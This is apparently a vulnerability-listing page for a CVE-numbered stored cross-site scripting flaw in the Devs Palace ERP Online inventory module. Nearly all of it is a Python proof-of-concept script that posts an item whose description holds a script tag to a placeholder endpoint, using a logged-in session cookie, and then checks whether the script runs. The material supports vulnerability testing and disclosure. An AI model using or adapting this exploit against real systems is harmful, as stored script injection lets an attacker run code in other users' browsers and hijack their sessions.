CVE-2026-8221 Devs Palace ERP Online跨站脚本漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://target-domain.com/inventory/item-save" # Attacker's session cookie (Required due to PR:H) cookies = { "PHPSESSID": "attacker_session_id", "user_token": "valid_token" } # Payload attempting to inject XSS via item description # Using a simple script tag to test execution payload_data = { "item_name": "Legitimate Item", "item_code": "12345", "description": "<script>alert('CVE-2026-8221 XSS');</script>", "price": "100.00" } try: # Send POST request to save the item with malicious payload response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the inventory list page to verify script execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")